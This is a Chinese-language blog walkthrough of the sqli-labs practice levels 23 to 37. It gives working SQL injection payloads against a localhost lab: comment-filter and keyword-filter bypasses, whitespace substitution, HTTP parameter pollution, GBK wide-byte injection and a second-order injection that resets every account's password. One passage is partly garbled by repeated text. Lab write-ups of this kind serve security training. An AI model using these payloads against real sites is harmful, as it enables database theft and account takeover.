Advanced Injections

文章目录

  • Advanced Injections
    • less-23
    • less-24
    • less-25
    • less-25a
    • less-26
    • less-26a
    • less-27
    • less-27a
    • less-28
    • less-28a
    • less-29
    • less-30
    • less-31
    • less-32
    • less-33
    • less-34
    • less-35
    • less-36
    • less-37

less-23


在这里将注释符给过滤了,也就是说我们不能通过注释注释后面符号进行闭合,闭合思路不止一种,我们可以构造出一个’来与后面的进行闭合,比如and ‘1’='1
老样子一个引号测试

通过报错信息知道它是通过单引号进行闭合的
正常注入,由于他闭合注释符,所以是被过滤

解决方法 我们再加一个’闭合后面’即可
注入语句如下:

http://127.0.0.1/sql-labs/Less-23/?id=-1' union select 1,2,3 and 1='1

获取版本、数据库名:

http://127.0.0.1/sql-labs/Less-23/?id=-1' union select
1,concat_ws(':',version(),database()),3 and 1='1

当然,因为它将错误语句输出了,这里也可以使用报错注入:

http://127.0.0.1/sql-labs/Less-23/?id=1' and
updatexml(1,concat(0x7e,(select database())),1) and 1='1

less-24


login.php

这里对用户传进来的数据通过mysql_real_escape_string()函数转义。
下面字符会被通过\进行转义
x00、\n、\r、\、’、"、\x1a
编码如果不是gbk,就不能宽字节注入 单引号就不能用了,这里也就不能闭合进行注入了。
在这里直接注册用户
login_create.php:

由于这里被mysql_escape_string过滤转义,所以我们注册admin’ or 1=1#并不会被代入到sql语句中执行,而是将’转义直接插入到数据库中去


通过admin’ or 1=1#登入之后,是一个修改密码的功能


在这里直接再将存放在SESSION中的用户名直接插入SQL语句中进行更新操作,这时就造成了二次注入。
那这时的SQL语句就变成:

这样就将所有账户的密码全部改掉了

less-25


在这里将or和and给过滤掉了,这里其实能通过多种方式进行绕过:
1.大小写绕过:Or AnD aND (代码中大小写敏感,都会被过滤,此题无效)
2.双写绕过:aandnd oorr
3.在敏感关键字中间添加注释:a//nd,o//r
4.利用符号代替:and -> &&,or -> ||
5.十六进制、urlencode

http://127.0.0.1/sql-labs/less-25/?id=1' aandnd 1=1--+
http://127.0.0.1/sql-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where
table_schema='security' --+

less-25a

跟上道题一样,去掉引号而已

http://127.0.0.1/sql-labs/less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where
table_schema='security' --+

less-26


这题过滤了or、and、/*、–、#、\s、/\。
过滤or和and,上道题讲了,使用双写或用符号&&和||代替等
注释符我们可以使用通过写一个字符引号闭合 and ‘1’='1等方法闭合
空格我们可以用%0a、%0b、%0c、%0d、%09等来代替

http://127.0.0.1/sql-labs/less-26/?id=1'%0b||%0bupdatexml(1,concat(0x7e,database()),1)%0b||%0b'1'='1

这里有的代替字符可能需要linux 环境,这里就不测试了。

less-26a

多了个),并且注释了报错信息,换成联合查询即可

less-27


用%0c代替空格、||代替 or、union/select 大小写、双写绕过。

http://127.0.0.1/sql-labs/less-27/?id=-100000'unIon%0cSeLeCT%0c1,database(),3%0c||%0c'1'='1
http://127.0.0.1/sql-labs/less-27/?id=-100000'%0aunIon%0aseLect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||'1

less-27a


改用闭合方式,改用引号包裹

http://127.0.0.1/sql-labs/less-27a/?id=-100000"%0aunIon%0aseLect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||"1

less-28


这里比上面多过滤了"union select",由于过滤了整个组合,我们可以通过unionunion select select来绕过,空格还是用%0a来代替

http://127.0.0.1/sql-labs/less-28/?id=-10000')%0aunionunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0a||('1

less-28a


和上道题一样。

less-29

这里由于利用的是php环境,所以使用的是login.php里面通过java_implimentation函数模拟了jsp取值方式,从而模拟两层服务器器架构。
login.php


这里使用到http的参数污染: jsp/tomcat使用getgetParameter(“id”)获取到的是第一个值,php/apache使用$_ GET[“id”]获取的是第二个值(最后一个值),那么第一个id纯数字,第二个id的值注入就可以了。也就是说不同的id值是由不同的服务去解析读取。

在上面代码中SERVER[′QUERYSTRING′]是获取查询字符串,也就是获取?后面的值,如?p=123,_SERVER['QUERY_STRING']是获取查询字符串,也就是获取?后面的值,如?p=123,S​ERVER[′QUERYS​TRING′]是获取查询字符串,也就是获取?后面的值,如?p=123,_SERVER[‘QUERY_STRING’]获取到的就是’p=123’。

java_implimentation函数的作用是返回第一个id的结果,即模仿jsp取值方式。
而apache取值则是取最后一个值。
而whitelist则将java_implimentation取到的第一个id结果进行判断,如果为数字则进行pass,否则就被强行跳到另外一个界面。这里取的是第一位参数,也就是说取jsp的取值结果进行判断,我们可以通过HPP参数污染,设置第一个参数为数字来绕过whitelist。从而进行注入
注入语句如下:

http://127.0.0.1/sql-labs/less-29/login.php?id=-1' union select 1,2,3 --+

http://127.0.0.1/sql-labs/less-29/login.php?id=1&id=-1' union select
1,2,3 --+

http://127.0.0.1/sql-labs/less-29/login.php?id=1&id=-1' union select 1,version(),database() --+

less-30


和上题一样,只是改变了闭合方式

http://127.0.0.1/sql-labs/less-30/login.php?id=1&id=-1" union select 1,version(),database() --+

less-31


还是闭合问题…

http://127.0.0.1/sql-labs/less-31/login.php?id=1&id=-1") union select 1,version(),database() --+

less-32

宽字节注入

这里过滤了反斜杠、单引号、双引号,而在这里数据库被设置为gbk编码,所以我们这里可以尝试进行宽字节注入

GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%df’:会被PHP当中的addslashes函数等\转义为"%df",“\”既URL 里的“%5C",那么也就是说,“%df"会被转成"%df%5c%27",倘若网站的字符集是GBK,MYSQL 使用的编码也是GBK的话,就会认为%df%5c是一个宽字节字符。

根据由上总结,我们可以知道并不仅仅只可以使用%df,只要ascii码大于128的url编码即可。举个例子,例如ascii码129也可以进行宽字节注入,那我们如何把它变成URL编码?很简单其实我们只要把129(十进制)转换为十六进制即可,然后加上%号,变成%81,它也是可以进行宽字节注入

http://127.0.0.1/sql-labs/less-32/?id=1'

发现被转义,使用宽字节进行注入

http://127.0.0.1/sql-labs/less-32/?id=-1%da' union select 1,2,3 --+

http://127.0.0.1/sql-labs/less-32/?id=-1%da' union select
1,version(),database() --+

http://127.0.0.1/sql-labs/less-32/?id=-1%da' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

less-33


还是对单引号(’)、双引号(")、反斜杠(\)、NULL进行\转义
还是宽字节注入

http://127.0.0.1/sql-labs/less-33/?id=-1%da' union select
1,version(),database() --+
http://127.0.0.1/sql-labs/less-33/?id=-1%da' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

less-34


还是宽字节注入,只是改为了POST提交方式而已
在这里需要将所拼接的字符先进行url解码,比如%df=

uname=-123 ' union select 1,2#&passwd=123123

uname=-123 ' union select version(),database()#&passwd=123123

less-35

没有被单双引号包裹,所以addslashes也不起作用,直接正常注入即可

http://127.0.0.1/sql-labs/less-35/?id=-1 union select 1,version(),database()--+
http://127.0.0.1/sql-labs/less-35/?id=-1 and
extractvalue(1,concat(0x7e,(select database()),0x7e))--+

less-36


mysql_real_escape_string也是对特殊字符进行\转义,包括有:
\x00、\n、\r、\、’、"、\x1a,这些字符,所以还是可以使用宽字节进行绕过

http://127.0.0.1/sql-labs/less-36/?id=-1%df' union select 1,version(),database()--+

less-37


mysql_real_escape_string过滤,gbk编码,post传参
还是宽字节绕过

uname=-123 ' union select version(),database()#&passwd=123123

sqli-labs通关攻略23-37[Advanced Injections]相关推荐

  1. sqli-labs 1~4 多命通关攻略

    sqli-labs 1~4 多命通关攻略 第一关 判断是否存在 SQL 注入点 MySQL 中的注释 判断 SQL 返回的查询结果中的列数 联合注入 判断显示位 数据库 information_sch ...

  2. WebGoat通关攻略

    目录 前言 一.环境配置 1.Docker配置 2.WebGoat获取 3.WebGoat连接 二.通关攻略(建设中) 1.Introduction 1)WebGoat 2)WebWolf 2.Gen ...

  3. “掘金”金融AI落地,英特尔趟出一套通关攻略

    有人说,金融业是最大的AI应用场景,但不管怎样,不可否认的事实是金融业已经从数字化走向AI化. 某种程度上,AI与金融业有着天然的契合性:其一,金融业本身就是以数据为基本元素的行业,它为AI的模型训练 ...

  4. CVPR一区审稿人分享:图像分割论文通关攻略

    攻略分两部分: 1.入门   2.创新点及实验优化 配套工具以及学习资源 文末扫码即可免费领取 上个月,一个读者发私信问我,他目前研究方向是图像分割,想弃坑了. 因为实验室就只有他一个人做这个方向,导 ...

  5. 计算机游戏第72关,史上最难的游戏第72关 第72关通关攻略

    史上最难的游戏第72关 第72关通关攻略 2014-04-03 来源: 996手游网 编辑: 帽纸 () 史上最难的游戏是以暴走漫画为游戏剧情及背景,让无数小伙伴们抓狂的游戏.全新的关卡又更新了,为了 ...

  6. 秋招注意事项和面试通关攻略

    首先给大家说声抱歉,最近由于个人工作(突然996)和精力上的原因,导致公众号断更了一段时间,后面会逐渐恢复公众号的更新,在此感谢大家的理解和支持. 国内主流的互联网公司在 8 月份都开放了秋招申请,那 ...

  7. imToken 测评通关攻略

    imToken 测评通关攻略 2017-10-19 imToken 在 1.3.3 版本新增了用户风险测评系统, 目的是为了让更多的用户了解钱包安全知识以及区块链的基本概念, 从某种程度上提升了整个区 ...

  8. 无悔入华夏怎么一直显示服务器,无悔入华夏快速通关攻略

    无悔入华夏怎么通关快呢?下面小编为大家带来无悔入华夏快速通关攻略,一起看看吧. 名臣带的:墨子(墨守加防御),李牧(神,前期点出据守加防御,中期点出另一个加兵,相当于子弟兵),商鞅(拿来治国的),孟子 ...

  9. 首届广西网络安全技术大赛初赛通关攻略

    首届广西网络安全技术大赛初赛通关攻略 前言 第一次参加安全类比赛(好吧,其实我这种宅男参加的比赛都很少,很多种比赛都是第一次 - -),同组的组员建议我在比赛完写个通关攻略出来.听起来不错,写个通关攻 ...

  10. 手机寂静岭 java 攻略_寂静岭PT最终房间进入及通关攻略

    寂静岭PT玩到最后一个房间时,很容易出现不知道怎么进入房间的问题,不少玩家都在论坛.贴吧等地方询问是不是bug导致的.其实这并不是bug,而是大家前期没有触发相关机关.下面小编就给大家介绍一下最终房间 ...

最新文章

  1. R语言均匀分布函数uniform Distribution(dunif, punif, qunif runif)实战
  2. SQL优化的一些知识
  3. 限时删!一套目标检测、卷积神经网络和OpenCV学习资料(教程/PPT/代码)
  4. json 的简单应用
  5. 公安网三合一EWSD交换机数据制作
  6. tornado函数和类的导入和ui_modules  , ui_methods
  7. Boost:cpu时间的实例
  8. STL算法学习-- 算法分类
  9. pycharm-连接mysql设置
  10. Java项目之家庭记账软件
  11. c语言子线程给主线程发信息,如何用C语言实现多线程
  12. gitlab项目中启用或禁用 GitLab CI/CD Pipeline
  13. 借一本可以编辑HTML,index.html
  14. TE飞到对象完成事件
  15. Hyperscan Windows 编译指南
  16. Google SketchUp SKP文件转OBJ 专业版注册机
  17. job title 总汇
  18. css实现一个三角形
  19. Cobbler实现系统自动安装和cobbler的web管理实现
  20. 名编辑电子杂志大师教程 | 设置电子杂志书签功能

热门文章

  1. 小皮php的简单使用
  2. python画箭头_Python matplotlib绘制图形,包括点、曲线、注释和箭头
  3. 计算机联锁控制系统的软件应具备信号操作功能,车站信号计算机联锁控制系统—软件.ppt...
  4. ruby中Thor用法雷神介绍,MyCLI < Thor详细介绍
  5. 6-3 按要求编写一个类Car,练习类的定义。
  6. Springboot高考志愿填报信息管理系统毕业设计源码251922
  7. Tcl脚本入门笔记详解(一)
  8. C语言 strstr()函数介绍
  9. 比较简单的nginx搭建静态资源linux服务器教程
  10. Activiti7学习之六查看流程历史信息、businessKey